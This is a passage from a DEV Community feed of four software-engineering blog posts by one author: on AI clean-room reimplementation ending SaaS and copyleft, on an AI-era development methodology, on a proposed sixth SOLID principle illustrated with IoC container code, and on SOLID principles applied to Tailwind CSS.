DEV Community: Remo H. Jansen

Source code is now a common good, and SaaS is mostly dead

Remo H. Jansen — Fri, 27 Mar 2026 23:26:48 +0000

Back in 2023, I wrote a post titled "The upcoming SaaS bubble burst" where I argued that AI would enable individual developers to replicate SaaS products at a fraction of the cost, turning high-margin businesses into commodities.

I was wrong about the timeline. It's happening right now.

The Legal Hack That Started It All

In 1982, a company called Phoenix Technologies wanted to create IBM PC-compatible computers. The problem? IBM's BIOS was copyrighted. Their solution was a "clean room" process: one team reverse-engineered the BIOS and wrote a functional specification, then a completely separate team—who had never seen the original code—implemented a new BIOS from scratch based solely on that specification.

It worked. Courts ruled it legal because the second team independently created the code; they never copied anything. This became established legal precedent.

Fast forward to March 2025: a satirical (but functional) service called Malus.sh appeared, offering "Clean Room as a Service." The name itself—Latin for "evil"—was a joke, but the concept was deadly serious. Pay them, upload your dependency manifest, and their AI systems would reimplement your open source dependencies under any license you wanted. GPL becomes MIT. AGPL becomes proprietary.

The service was presented at FOSDEM as a warning to the open source community. The Hacker News discussion exploded with over 1,400 comments debating whether this was the end of copyleft or just a clever thought experiment.

Around the same time, someone attempted exactly this with the chardet Python library—using Claude to rewrite it from LGPL to MIT. The open source community was furious.

But here's what truly terrifies me: this is unstoppable.

The Two Directions of Liberation

There are two scenarios playing out simultaneously:

1. Open Source → Commercial (GPL → MIT → Proprietary)

Companies have always hated copyleft licenses like GPL and AGPL because they require sharing modifications. If you can reimplement the software cleanly, you eliminate that obligation. No more "viral" licensing concerns. No more open source compliance headaches.

2. Commercial → Open Source

This is the scenario most people aren't talking about. SaaS applications don't expose their source code, but they do expose their behavior. Every button click, every API response, every error message is observable. Feed that to an LLM, produce a specification, have another LLM implement it. The source code was never "seen."

For SaaS, the clean room defense is even stronger because there's literally no source code to contaminate the process.

Why This Is Unstoppable

I know what you're thinking: "But the LLMs were trained on that code! They've seen it!"

You're right. Someone demonstrated that Claude can reproduce chardet's source code verbatim from memory, including the license headers. The training data is contaminated.

But here's the thing: the architecture can be fixed.

Imagine a two-LLM system:

LLM 1 ("dirty room"): Analyzes only public documentation, API specs, README files, type definitions. Never sees source code.
LLM 2 ("clean room"): Trained specifically WITHOUT the target project's code. Receives only the specification from LLM 1.

Or a three-LLM system. Or more. Each hop makes the provenance harder to trace. Add different base models, different hosting providers, different jurisdictions. Good luck proving in court that the final output was "copied."

For SaaS, it's even simpler. Point an AI agent at the UI. Let it click around, observe responses, document behavior. Feed that documentation to a clean model. Where's the infringement?

The legal standard for clean room implementation was designed for humans with imperfect memories working for months. When AI can do it in hours with perfect documentation, the entire framework breaks down.

The Government Dilemma

Governments will eventually have to respond. But their options are all bad:

Software patents: The only real way to protect ideas (not just expression) is patents. But broad software patents would stall innovation even more than copyright does. We already tried this in the 2000s with patent trolls. Nobody wants to go back.

Stronger copyright enforcement: Unenforceable across borders. The moment one country allows this, the "liberated" code can be downloaded legally from servers in that jurisdiction.

Do nothing: Tech companies lose their moats. VC-funded SaaS collapses.

I expect different regions to react differently:

The US has strong tech lobbying, but also a free-market ideology that resists new restrictions.
The EU tends to prioritize consumer interests over corporate ones. Cheaper software sounds pretty good to voters.
Other countries have less to lose and may deliberately permit this to erode Western IP advantages.

At the end of the day, if one country in the world allows AI-powered clean room reimplementation, you'll be able to download that "liberated" code from that country legally.

The Ironic Outcome: Everything Becomes Open Source

Here's the twist I didn't see coming: GPL exists to ensure software stays free forever. Richard Stallman created it because he believed users should have the freedom to run, study, modify, and share software.

AI clean rooms might achieve exactly that outcome—just not in the way anyone intended.

Think about it:

Company A takes GPL software and relicenses it as proprietary.
Company B takes Company A's proprietary software and reimplements it as open source.
Company C takes that and makes it proprietary again.
Repeat forever.

The end state? Everything converges to effectively public domain. You can't maintain a proprietary advantage when anyone can recreate your software in hours. You can't maintain copyleft when it can be circumvented just as easily.

Source code becomes a common good. Not because of ideology, but because protection becomes technically impossible.

What Can You Actually Sell?

When code has no scarcity, what's left?

Convenience. That's it.

You can run the software yourself for free. Set up your own servers, handle updates, manage disaster recovery, deal with security patches—or pay someone a monthly fee to do it for you.

But here's the problem: when self-hosting becomes trivial (thanks to agentic SRE and AI-powered infrastructure management), convenience becomes less valuable. Margins compress. The race to the bottom accelerates.

Winners and Losers

The Real Winners: Cloud Infrastructure Providers

AWS, GCP, Azure. They own the hardware, the data centers, the network infrastructure. Whether you're running open source or proprietary software, you're paying them for compute. They win regardless of who owns the code.

In the short term, there might be shock to the system if an AI company like OpenAI fails spectacularly. That could damage cloud valuations temporarily. But long term? I'm bullish.

The Losers: Pure SaaS Companies

Any SaaS company whose value proposition is primarily "we wrote software that does X" is in trouble. If your moat is code, you no longer have a moat.

And here's the brutal reality: most SaaS companies were never designed for low-margin economics. They have massive operating costs—large engineering teams, expensive offices, bloated sales organizations, venture debt—all predicated on the assumption of 70-80% gross margins. When margins collapse to 20-30% (or lower), the math simply doesn't work. They can't cut costs fast enough. Many will go bankrupt.

This isn't a slow decline. SaaS companies with high burn rates and no data moat will face an existential crisis the moment a credible open source alternative appears. And with AI, that alternative can appear overnight.

The Exception: Data Moats

Some SaaS companies will survive—specifically, the ones that control proprietary data that can't be recreated:

LinkedIn: The value is the network graph, not the code
Bloomberg: Proprietary real-time financial feeds
Palantir: Government contracts + classified data access
Credit bureaus: Decades of credit history data
Snowflake: Data gravity—once your data is there, leaving is painful

If your software generates or aggregates unique data that can't be reproduced, you have something AI can't replicate. If your software is just features, you're toast.

The Next Frontier: Open Source Hardware

I cannot speak for Richard Stallman, but I believe the vision behind GPL was to ensure that software would be free forever—like in the early days of computing when code was shared openly.

AI-powered clean rooms may finally get us there, ironically through market forces rather than ideology.

The next frontier is open source hardware. The designs can be liberated just like software, but manufacturing remains controlled by corporations with factories, supply chains, and regulatory approvals. Still, open hardware could finally kill proprietary drivers—another piece of the dream.

I personally believe this trajectory is better for consumers. Software becomes cheaper. Innovation accelerates. The tax on digital goods imposed by intellectual property regimes gradually evaporates.

Final Thoughts

The SaaS bubble I predicted in 2023 is bursting. The mechanism is just different than I expected—not market forces alone, but a fundamental breakdown in the ability to protect software as property.

In 5-10 years, I expect:

Most software to be effectively open source (by force or by choice)
SaaS margins to collapse except for data-moat businesses
Cloud infrastructure to be the dominant value capture layer
The concept of "software ownership" to feel as quaint as owning individual MP3 files

Is this good? Is this bad? Honestly, I don't know. But I do know it's happening. And the teams that prepare for a world where code has no scarcity will be the ones that thrive.

What do you think? Am I too pessimistic about SaaS? Too optimistic about open source? I'd love to hear your perspective in the comments.

If you found this interesting, you might also enjoy my previous posts on Agent Driven Development and the original SaaS bubble prediction from 2023.

The Infinite Loop Part III: Agentic Software Engineering

Remo H. Jansen — Fri, 27 Mar 2026 22:18:46 +0000

Creating a culture of trust, ownership, and data-driven continuous experimentation—now accelerated by AI

The Infinite Loop (L∞P) was introduced in 2023 as a software development methodology that unified lessons from Agile, Lean UX, Kanban, DevOps, and Product-led growth. Its core philosophy—trust, ownership, outcomes over outputs, no arbitrary deadlines—was designed to create high-performance teams that could achieve flow state and deliver genuine customer value.

Three years later, AI has fundamentally changed how software is built. Large language models, agentic workflows, and AI-assisted development have compressed the time from idea to implementation. What took days now takes hours; what took hours now takes minutes.

But the principles of L∞P are not obsolete—they are more relevant than ever.

In 2023, the core problem was that companies underinvested in discovery and used time boxes that corrupted quality. Teams rushed to build without proper validation, and artificial deadlines led to technical debt accumulation and output-over-outcome thinking.

AI doesn't change this—it amplifies it. Teams that skip discovery will now ship bad products faster. The new constraint is verification: AI generates code quickly, but proving correctness requires human judgment and automation investment. The teams that automate verification fastest will ship fastest.

This update to L∞P acknowledges this shift while preserving the core philosophy that made it effective.

How AI Accelerates the Loop

AI transforms every phase of the product development cycle—but humans remain in control of judgment and validation.

Research & Discovery: AI synthesizes market data, customer feedback, and competitive intelligence faster than manual research. Teams can explore more hypotheses with the same effort.

Prototyping: AI generates functional prototypes that enable real user validation faster and more effectively than static UX mockups. Users interact with working software, not wireframes—leading to higher-quality feedback earlier.

Discovery → Development Transition: AI assists the translation from validated discovery to technical specification. It asks refinement questions, identifies gaps in implementation plans, surfaces edge cases, and highlights integration risks before development begins.

Implementation: AI accelerates code generation, but humans own architecture decisions and review all output. The role shifts from typing to steering and verifying.

Verification: AI cannot be 100% trusted with verification, but it accelerates it significantly—automated vulnerability scanning, test generation, code review assistance, and anomaly detection. Human judgment remains the final gate.

AI compresses time but does not replace human judgment. Discovery still requires validation with real users. Architecture still requires human design. Verification still requires human oversight. AI makes the loop faster—it doesn't make corners safe to cut.

Acceleration works both ways. If a team is leveraging AI correctly—investing in discovery, maintaining verification automation, addressing technical debt—everything works well and faster. But if things are going wrong, they go wrong faster too.

Technical debt that was accumulating before AI? Now it accumulates twice as fast. Vulnerabilities that went unnoticed? They multiply faster. Poor architectural decisions? They propagate through the codebase before anyone catches them. Teams skipping discovery? They ship the wrong product to customers in record time.

AI is an amplifier, not a corrector. It accelerates whatever trajectory you're already on. Teams with good practices win bigger. Teams with bad practices lose faster.

What Actually Changed (And What Didn't)

The fundamentals haven't changed as much as the hype suggests. The core problems remain: companies still underinvest in discovery, still use arbitrary deadlines, still optimise for outputs over outcomes. What changed is speed—iterations of the loop are faster, and estimation is even more useless than before.

But there's a cultural shift that will separate winners from losers.

The developer identity problem: Developers have long lived by "talk is cheap, show me the code." Code is part of our identity. Letting go of code ownership is painful—even traumatic. We obsess over clean code, elegant abstractions, and technical excellence. This isn't inherently wrong; good code matters.

But many developers fail to recognise "good bad code"—code that is technically excellent but ultimately harmful. Premature optimizations. Over-engineered abstractions. Architectural purity that overcomplicates the system and prevents faster value delivery. The code might be beautiful, but the user perceives no value, and the product loses to a scrappier competitor.

The uncomfortable truth: The winning product has rarely been the one with the best code. It's been the one with the most value—whether that's better UX, more features, faster iteration, or simply showing up first. Technical debt accumulated by winners gets paid down later. Technical perfection pursued by losers never ships.

The AI acceleration: In the new world, this dynamic intensifies. AI makes code generation cheap. Control freaks who obsess over every line will be left behind. And while it's fun to mock "vibe coders" who prompt their way to working software, some of them will win—because they start with value, not code perfection. The vibe coders who ship without any verification will fail fast. The winners are those who start with value AND invest enough in verification to sustain velocity.

The new developer role: One consequence of AI is that developers must become more heavily involved in discovery. When implementation is fast, understanding what to build matters more than how to build it. Developers who stay isolated from customers, business context, and user research will become bottlenecks—not because they're slow at coding, but because they lack the judgment to steer AI toward value. The developers who thrive will be those who invest in understanding the business, participate in user research, and can make product decisions on the fly.

This doesn't mean quality doesn't matter. It means quality serves value, not the other way around. The best teams will use AI to iterate faster toward value while maintaining just enough quality to sustain velocity. The worst teams will use AI to generate perfect code that nobody wants.

L∞P Principles

L∞P proposes eleven equally essential principles:

Customer-Centric: Everyone should be in constant direct contact with customers, understand their needs, and be obsessed with delivering value to them.
Value-Driven: The team is asked to deliver an outcome, not an output. The effectiveness and efficiency of the team is measured by the success of the customers, not by outputs (No Burn-down charts).
Product-Led: Remove silos between marketing, sales, customer success, and the product team.
Trust & Ownership: The product team is tasked with leading the customer to success and having total freedom to come up with the optimal solution.
Flow-Friendly: There must be at least 50% allocated focus time on the calendar every day. This applies to both deep-thinking architectural work and AI-orchestrated development—both require protection from interruption.
No Estimates or Time Boxes: Use a pull-based system. Focus on one work item at a time. Discovery over planning. AI velocity is unpredictable, making estimation even less meaningful than before.
Cost Tracking Over Velocity Tracking: Instead of tracking velocity or estimating story points, track actual costs: team salaries, infrastructure, AI tokens. You know what you're spending weekly. Then measure outcomes: Activation Rate, Retention Rate, LTV, NPS, Feature Engagement. If customer satisfaction is improving or sustained, does velocity matter? The question isn't "how fast are we going?"—it's "are we delivering value relative to cost?" This reframes budget conversations from "will we hit the deadline?" to "is this investment generating returns?"
Explicit Policies: Use templates for agendas and artefacts to prevent deviation from your processes. This extends to AI governance—establish clear policies for security review and quality standards for AI-generated output.
Clear Goals: The entire organisation should understand the business mission, vision, principles, and strategy.
Data-Driven: The decisions, direction, and work items are backed by data.
Pragmatic: Making decisions based on what is best for the project rather than just optimising for individual preferences or technical ideals.
Automation-First: Invest in automation before features. The team that automates verification, testing, and deployment will experience the full productivity gains of AI. A feature without automated verification is incomplete. Technical debt is addressed organically as part of ongoing work, not accumulated in a separate backlog.

L∞P Roles

"If you want to go fast, go alone; if you want to go far, go together" - African proverb

L∞P tries to balance collaboration and working as a team, so we can attempt to achieve goals that are bigger than ourselves (go far) with focus and alone time so we can get into the zone and be super productive (go fast). When we work together, our goal should be to remove unknowns and enable autonomy; then, we can go our separate ways and get stuff done.

The L∞P team structure is designed to ensure all disciplines are aligned and work without silos. Instead of having separate teams for product development, sales, marketing, and other functions, there is one cross-functional team in charge of discovery and delivery. This team integrates with sales and marketing by aligning goals and strategies around the product.

Discovery and delivery are not separate silos. Developers can propose hypotheses, build prototypes, and participate in user research—they are not just implementers waiting for specifications. Similarly, UX and product can contribute to technical discussions. The entire team owns the full cycle from idea to validated, live product.

The Product Manager is a key role in this structure, taking on both the roles of product owner and scrum master. The Product Manager is responsible for leading the team, making decisions that impact the product, and ensuring the team delivers maximum customer value efficiently.
UX plays a crucial role in the product-led growth organisation, responsible for the design and usability of the product. The UX team works closely with the Product Manager and Engineering to ensure that the product is easy to use and meets the customer's needs. AI accelerates prototype generation; UX spends more time on user validation than wireframing.
Architecture creates the blueprint for the product and ensures technical coherence. This role becomes more critical in the AI era—AI generates code fast but makes poor architectural decisions. Humans must own system design.
Engineering implements architecture decisions, builds verification systems, and maintains the product. The role shifts from "writing code" to "orchestrating AI, reviewing output, and building verification automation."
Sales & Marketing represents business functions that influence product perception and customer expectations. These teams work closely with the Product Manager to align go-to-market strategy with product capabilities, ensuring promises match what the product delivers.

AI orchestration is not a separate role. Every team member incorporates AI assistance into their existing responsibilities organically.

The Product Manager (PM)

The role of the product manager is the most critical one in the product team—and AI makes it more critical, not less. The PM is often seen as the proving ground for future CEOs, as the success or failure of a product falls on their shoulders. It's therefore important that the PM role is reserved for the best talent, with a combination of technical expertise, deep customer and business knowledge, credibility among stakeholders, market and industry understanding, and a passion for the product.

A PM must be smart, reactive, and persistent, with a deep respect for the product team. They should also be comfortable with using data and analytics tools to inform their decisions and drive the success of the product. The PM's main task is to ensure that only the most valuable work items reach the backlog, guiding the product team towards building solutions that deliver the greatest impact and customer value.

How AI transforms the PM role:

AI amplifies PM leverage but also amplifies the cost of poor judgment. When the team can build anything fast, deciding what to build becomes the primary bottleneck. The PM who chooses wrong wastes more resources faster.

Research at scale: AI synthesizes market data, customer feedback, and competitive intelligence. The PM can explore more hypotheses and validate faster—but must still make the judgment calls about what matters.
Saying no becomes harder: AI can generate infinite feature ideas, prototypes, and specifications. The PM must resist the temptation to build everything that's now "easy." The discipline of focus intensifies.
Specification quality gates: AI assists the translation from validated discovery to technical specifications, asking refinement questions and identifying gaps. But the PM validates that the specification actually captures customer value—AI can generate coherent specs for useless features.
Verification strategy ownership: Before work begins, the PM ensures a verification strategy exists. How will we know this feature works? How will we know users value it? AI accelerates verification, but the PM defines what "verified" means.
Faster feedback loops: AI-generated prototypes enable real user validation in hours instead of weeks. The PM must be ready to act on feedback immediately—there's no hiding behind "we'll fix it next sprint."

The PM role becomes less about managing process and more about making decisions under uncertainty. The teams that win will have PMs who can synthesize information fast, say no confidently, and move from validated learning to shipped value without hesitation.

L∞P Artefacts

In this section, we are going to take a look at the L∞P artefacts. We will mention common artefacts from other methodologies, clarify why we will not use them, and introduce some new ones.

✅ Mission and vision: The product mission and vision should be clearly articulated and documented. The team should not only know what the product aims to be but also what it is not aiming to be.
✅ Unified Backlog: A single backlog with tags to distinguish work types. We use a pull-based system—take the top item from the backlog. No separate backlogs for discovery and development.
❌ Sprint Backlog: We don't use a Sprint Backlog because we don't use time boxes. We use a Work board and Work-in-progress limits to track our current focus.
❌ Definition of done: We don't allow custom definitions of done. Done means live and used by actual customers. If it's live, it was verified—verification is a prerequisite, not a separate checkbox.
❌ Product Increment: We don't use a Product Increment because we don't accept the idea of something being "potentially releasable". We release everything; if we are not going to release it, we don't build it.
❌ Sprint goal: We don't use a Sprint goal because we don't have time boxes but also because our metrics are already focused on outcomes.
❌ Separate technical debt backlog: Technical debt is addressed organically as part of ongoing work, not accumulated separately.
✅ Explicit work policies: We use Explicit work policies to ensure that nobody corrupts or deviates from our principles.
✅ User stories: We use User Stories, but we are careful to avoid including specific implementation details or technical requirements (WHAT) to keep the focus on the user's needs and goals (WHO and WHY). Stories should keep the focus on the user, enable collaboration and drive creative solutions. AI may draft stories; humans refine them.
✅ Technical specifications: When discovery outputs are validated (user-tested prototypes, research findings), they transform into technical specifications. AI assists this transformation—taking a validated prototype and generating a specification draft. Refinement sessions identify gaps: edge cases, integration points, security considerations, verification requirements. The specification is complete when the team has enough clarity to implement without constant clarification.
✅ Verification automation: Unit tests, end-to-end tests, AI-assisted security reviews, and observability are first-class deliverables, not afterthoughts. Every feature ships with its verification.
✅ Outcome metrics over output metrics: We don't use Output-based metrics like Burn-down & Burn-up charts, Lead time, Cycle time and Cumulative flow diagrams because they make people focus on outputs, not outcomes. We use outcomes-based metrics instead, like Activation Rate, Retention Rate, Lifetime Value (LTV), Net Promoter Score (NPS), Feature Engagement, Cohort Analysis & A/B Testing, Change Failure Rate, Employee satisfaction surveys, Employee turnover rate. We are careful with the activation rate because we understand that retention rate is a more reliable metric for customer value.

L∞P Ceremonies

In this section, we are going to take a look at the L∞P ceremonies. We will mention common ceremonies from other methodologies, clarify why we will not use them, and introduce some new ones.

❌ We don't use Sprints because a sprint is a time box, and we believe that time boxes lead to decreased quality and lower customer value, so we don't have any Sprint-based meetings. Including:
- ❌ Sprint planning,
- ❌ Sprint review and
- ❌ Sprint retrospective.

However, we value the principles behind the Sprint retrospective.

❌ We don't host the Delivery planning and Risk review meetings from Kanban because they strongly focus on outputs.
✅ We host as many User research/testing sessions as needed to validate hypotheses and generate product ideas. The entire team participates in the research phase, sales and development included. AI can significantly enhance these sessions—agents can help facilitate discussions, synthesize findings in real-time, or transform meeting transcriptions into structured insights, specifications, and hypothesis refinements.
✅ We block 4 hours daily in people's calendars to ensure they can get into the zone and move fast. We call this the Do Not Disturb (DnD) meeting. This protected time applies to both deep-thinking work and AI-orchestrated development.
✅ We host a daily stand-up meeting, but we use meeting agendas to ensure they don't become a checkpoint. The goal is to resolve blockers and provide the team with the information required to act with autonomy for the rest of the day.
✅ We host a monthly Flow review meeting to reinforce a continuous improvement culture. This meeting includes: What verification gaps exist? What automation was added? What escaped our automated checks? How can we prevent similar escapes? AI can assist by analysing production incidents, identifying patterns across issues, and suggesting automation opportunities.
✅ We host a monthly Show and Tell meeting to enable conversation across teams, share research insights, and celebrate our achievements. This is a meeting to share knowledge with other teams and the wider business.
✅ We host monthly hackathons to encourage the development team to generate product ideas and reinforce the involvement of the developers in the discovery phase.
✅ We host a quarterly Strategy review meeting to align the product teams with the leadership's mission, vision and strategy.

The core philosophy remains: trust leads to ownership, ownership leads to agility, agility plus protected focus time leads to flow. AI accelerates this cycle—it doesn't replace it.

The 6th SOLID Principle?

Remo H. Jansen — Sat, 21 Mar 2026 01:40:31 +0000

I've been writing about the SOLID principles for over a decade. I built InversifyJS because of them, I wrote about implementing them with the onion architecture, and just recently, I argued that they are universal design principles that show up far beyond the world of object-oriented programming. But I've always felt something was missing — not from the principles themselves, but from the conversation around them.

SOLID tells you how to write good components. It doesn't tell you how to compose them into a system that can change shape.

Let me explain.

The gap

Imagine you have a perfectly SOLID codebase. Your UserRepository depends on an abstraction. Your EmailService has a single responsibility. Your OrderProcessor is open for extension but closed for modification. Everything is beautiful. You followed the five principles to the letter.

Now your CTO walks in and says: "We need to split the user management into its own microservice."

What happens? You start ripping things apart. You create a new project, move files, rewrite imports, create new entry points, set up new dependency wiring, and extract shared interfaces into a package. It takes weeks. The SOLID components themselves were fine — they didn't need to change. But the structure around them did. The boundaries of your system were baked into the source code: into import paths, into entry points, into which files lived in which project, into hard-coded wiring inside modules.

SOLID gave you pristine components. But pristine components in a rigid structure still give you a rigid system.

What changes with the Composition Root

Now imagine the same codebase, but this time every component is wired together via an IoC container, and all the wiring lives in a single place: the composition root.

Your OrderProcessor doesn't import UserRepository directly. It declares a dependency on an abstraction. The composition root is where the abstraction meets its implementation. It's the only place in your entire codebase that knows which concrete classes exist and how they relate to each other.

Here's the interesting part. In a monolith, you have one composition root that loads everything:

// monolith/composition-root.ts
const container = new Container();
container.load(authModule);
container.load(userModule);
container.load(orderModule);
container.load(emailModule);
container.load(cmsModule);

Now your CTO wants microservices. Instead of ripping the codebase apart, you create a new composition root for each service:

// services/user-service/composition-root.ts
const container = new Container();
container.load(authModule);
container.load(userModule);

// services/order-service/composition-root.ts
const container = new Container();
container.load(authModule);
container.load(orderModule);
container.load(emailModule);

The components didn't change. Not a single line. The only thing that changed is which composition root assembles which components. The boundaries of your system — what constitutes a deployable unit, which components belong together — were never defined by the components themselves. They were defined at the composition root level.

I wrote a detailed case study of exactly this approach: From Monolith to Microservices without changing one line of code. In that project, the same codebase produced either a monolith or a set of microservices depending on which composition roots were used and how the CI/CD pipeline was configured. We even migrated from CosmosDB to PostgreSQL by creating a new IoC module and swapping it in the composition root — zero changes to existing code.

This is NOT the Composition Root pattern

I want to be very precise here because the distinction matters.

The Composition Root is a pattern, defined by Mark Seemann, that tells you where to wire your dependencies: in a single place, as close to the application's entry point as possible. Seemann is clear that each deployable application should have exactly one composition root — and he's right.

But the principle I'm trying to articulate is not about where you wire things up. It's about what the components know about their own boundaries.

Here's the difference:

The Composition Root pattern says: "Wire everything in one place per application." It's a mechanism — the how.
The principle I'm proposing says: "Your components should be boundary-agnostic. They should not know whether they're part of a monolith, a microservice, a plugin, or a serverless function. That decision should be made at the composition root level, never inside the components themselves."

Seemann says multiple composition roots within a single application is an anti-pattern, and I agree — per deployable artifact. But the whole point is that you should be free to create new deployable artifacts with new composition roots that select different subsets of the same boundary-agnostic components. The components don't change. Only the composition roots do.

In other words: the Composition Root pattern gives you the tool. The principle gives you the reason to use it this way.

The Boundary Deferral Spectrum

One mental model that has helped me think about this is a spectrum. The question is: how late can you defer the decision about where your system's boundaries are?

Design time (worst). Boundaries are baked into the source code. Components import each other directly. Which components belong to which service is decided by folder structure, project boundaries, and import paths. Restructuring means rewriting.

Composition time (good). Boundaries are defined in the composition root. The components themselves are boundary-agnostic. You can create different composition roots that assemble the same components into different shapes — monolith, microservices, or anything in between. Restructuring means writing a new composition root.

Build time (better). The composition root reads environment variables or build arguments to decide which modules to load. A single codebase produces different deployable artifacts depending on build configuration. In my monolith-to-microservices project, a Dockerfile with SERVICE_NAME and SERVICE_ENTRY_POINT build arguments produced different microservice images from the exact same source code. Restructuring means changing a build argument.

Runtime (most deferred). The system discovers and loads components dynamically. Plugin architectures like MEF (.NET), OSGi (Java), or VS Code's extension system don't know their own boundaries until they're running. A plugin can be added or removed without the host application knowing about it in advance. The system's shape is defined by what's present on disk, not by what's in the source code.

Plugin systems are, in my opinion, the purest embodiment of SOLID in practice. They represent the logical extreme of this spectrum: boundaries deferred to the latest possible moment. Every plugin has a single responsibility. The system is open for extension (install a plugin) and closed for modification (the host doesn't change). Plugins are substitutable (swap one implementation for another). They interact through narrow, segregated interfaces. And everything depends on abstractions, with concrete implementations loaded at runtime.

It's not a coincidence that the most long-lived, adaptable software systems in history — IDEs, browsers, operating systems — are all built on plugin architectures. They defer boundaries until runtime, and that gives them the ability to evolve in ways that no amount of up-front design could anticipate.

Horizontal and vertical slicing

The boundary decisions I'm talking about come in two flavours, and both should be deferrable.

Vertical slices are about technical concerns: the HTTP layer, the business logic layer, the data access layer. In a well-structured onion architecture, these layers are already separated by abstractions. The composition root is what connects them. You can replace your entire data access layer (say, swap Sequelize for TypeORM, or SQL for a REST API) by changing the composition root — the business logic doesn't know or care.

Horizontal slices are about user journeys or business capabilities: user management, order processing, content management, authentication. In a modular monolith, these are IoC modules. In a microservices architecture, each one becomes its own deployable artifact with its own composition root.

The principle says: both kinds of boundaries should be defined at the composition root level. Your components should not know whether UserRepository and OrderRepository live in the same process or in different services across a network. They shouldn't know whether the email service is an in-process function call or an HTTP request to a third-party API. That's a composition-time decision.

When both vertical and horizontal boundaries are deferred, your system becomes something like a bag of Lego bricks. You can assemble them into a monolith (one big model), or split them into microservices (many small models), or land somewhere in between — all without modifying a single brick. Only the instruction manual changes.

The same idea in functional programming

This is not just an OOP/IoC container thing. The same principle shows up in functional programming, expressed through different mechanisms.

In ML-family languages, module functors let you parameterise an entire module over its dependencies. A functor takes a module signature (an abstraction) and produces a concrete module. The "wiring" — which concrete module gets passed to which functor — happens at the call site, not inside the functor. The functor is boundary-agnostic; it declares what it needs but not where it comes from or what system it belongs to.

Effect systems like ZIO (Scala) take this even further. A ZIO program declares its dependencies as a type-level "environment" (ZIO[UserRepo & EmailService, Error, Result]), and the layers that satisfy those dependencies are assembled separately. You can build different layer configurations for testing, for a monolith, or for distributed services. The program itself doesn't change — only the layer composition does.

Even in simpler functional codebases, the practice of threading dependencies as function parameters (dependency injection via higher-order functions) achieves the same thing. A function (fetchFn) => (userId) => fetchFn(/users/${userId}) doesn't know if fetchFn hits a local database, a remote API, or a mock. The boundary decision is deferred to whoever provides fetchFn.

The mechanism is different — functors instead of IoC containers, layers instead of composition roots, higher-order functions instead of constructor injection — but the principle is identical: components should be boundary-agnostic, and the decision about what belongs together should live outside the components.

Has this been said before?

I want to be honest about prior art because this idea doesn't come from nowhere.

Robert C. Martin came very close in his 2014 article on Clean Micro-service Architecture, where he wrote: "The Deployment Model is a Detail" and "A good architect defers the decision about how the system will be deployed until the last responsible moment." He even coined the term "Forced Ignorance" — the idea that components should have no knowledge of their deployment context.

The Lean Software Development movement formalised "Decide as Late as Possible" (Poppendieck, 2003) as a general principle about deferring decisions until you have enough information to make them well.

Mark Seemann's Composition Root pattern provides the mechanism to make this work in practice.

But none of these, as far as I can tell, explicitly say: the boundaries of your system — which components are grouped together, what constitutes a vertical slice, what constitutes a horizontal slice, what constitutes a deployable unit — should be defined at the composition root level, not inside the components, and should be reconfigurable without modifying the components themselves.

Uncle Bob says deployment topology is a detail. But he still assumes the component boundaries are defined in code (jars, DLLs, project structure). The Composition Root pattern tells you where to wire, but not that the components should be deliberately designed to be boundary-agnostic. "Decide as Late as Possible" is a general principle that applies to everything, not specifically to system boundaries.

What I'm proposing sits in the gap between these ideas.

So what do we call it?

I've been going back and forth on this, and the name I keep coming back to is:

The Boundary Deferral Principle: The components of a system should be boundary-agnostic. System boundaries — both vertical (technical layers) and horizontal (business capabilities) — should be defined at the composition root level, never inside the components themselves. Boundary decisions should be deferred as late as practically possible.

Or more concisely: system boundaries are a detail.

This follows Uncle Bob's own framing — the database is a detail, the framework is a detail, the deployment model is a detail — and extends it to its logical conclusion: the boundaries themselves are a detail too.

SOLID+ ?

SOLID without this principle has always felt incomplete to me. SOLID gives you the bricks. But without the idea that boundaries should be deferred and defined at the composition root level, you end up cementing those bricks into a shape too early. And when the shape needs to change — and it always does — you're back to a rewrite.

The teams I've seen get the most out of SOLID are the ones that, whether they know it or not, also follow this principle. Their applications are plugin systems in disguise. Their components don't know their own topology. Their boundaries are defined in one place, and changing that one place changes the shape of the entire system.

Maybe that's the 6th principle. Or maybe it's just what happens when you take the other five seriously enough. I'd love to hear your thoughts!

The SOLID Principles are Universal

Remo H. Jansen — Fri, 20 Mar 2026 23:44:49 +0000

I've spent a significant portion of my career thinking about the SOLID principles. I wrote about them in the context of JavaScript and TypeScript, I built InversifyJS largely because of them, and I've had countless conversations with other developers about whether they belong in the JavaScript world at all. Over the years, many people have pushed back, arguing that SOLID is an object-oriented thing, that it only matters if you're writing Java or C#, and that it doesn't apply to their world.

I respectfully disagree. In fact, the more I look around, the more I'm convinced that the SOLID principles are not about object-oriented programming at all. They are universal design principles that manifest everywhere, whether you realise it or not. You'll find them in CSS utility frameworks, in functional programming, and even in the way we're building AI agents today.

Let me show you what I mean.

1. Tailwind CSS

When Tailwind CSS first gained popularity, I remember many developers (including myself) being skeptical. Writing class="flex items-center justify-between p-4 bg-white rounded-lg shadow-md" felt wrong. It looked like inline styles with extra steps. But the more I used it, the more I started to see something familiar. Tailwind is SOLID, and it doesn't even know it.

S — Single Responsibility Principle

A class should have only a single responsibility.

In Tailwind, each utility class does exactly one thing. text-center centers text. p-4 adds padding. bg-blue-500 sets a background colour. That's it. No side effects, no surprises. Compare this to a traditional CSS class like .card that might set padding, margin, background, border-radius, box-shadow, font-size, and who knows what else. That's a God class. Tailwind avoids this entirely by ensuring every class has a single, well-defined responsibility.

O — Open/Closed Principle

Software entities should be open for extension, but closed for modification.

You cannot modify p-4. It is what it is. But you can extend the system by composing additional classes: p-4 md:p-8 lg:p-12. You can also extend Tailwind's configuration to add your own spacing scale, your own colours, your own breakpoints, all without touching the existing utility classes. The existing system is closed for modification but wide open for extension. This is exactly how the open/closed principle is supposed to work.

L — Liskov Substitution Principle

Objects in a program should be replaceable with instances of their subtypes without altering the correctness of that program.

In Tailwind, any spacing utility is interchangeable with another spacing utility. You can swap p-4 for p-6 and the system doesn't break. You can replace bg-blue-500 with bg-red-500 and everything continues to work as expected. The utilities follow a consistent contract: they accept the same kind of input (a class name on an element) and produce a predictable kind of output (a single CSS property change). Any class within a category can substitute for another in that category without breaking the layout system.

I — Interface Segregation Principle

Many client-specific interfaces are better than one general-purpose interface.

This is perhaps where Tailwind shines the brightest. Instead of one monolithic .card class that bundles together layout, spacing, colour, typography, and shadow concerns, Tailwind gives you many small, focused utilities. You pick only the ones you need. Your element doesn't have to "implement" an interface it doesn't care about. A heading doesn't need to know about box shadows just because it happens to be inside a card. Each utility is a tiny, client-specific interface. You compose exactly what you need and nothing more.

D — Dependency Inversion Principle

One should depend upon abstractions, not concretions.

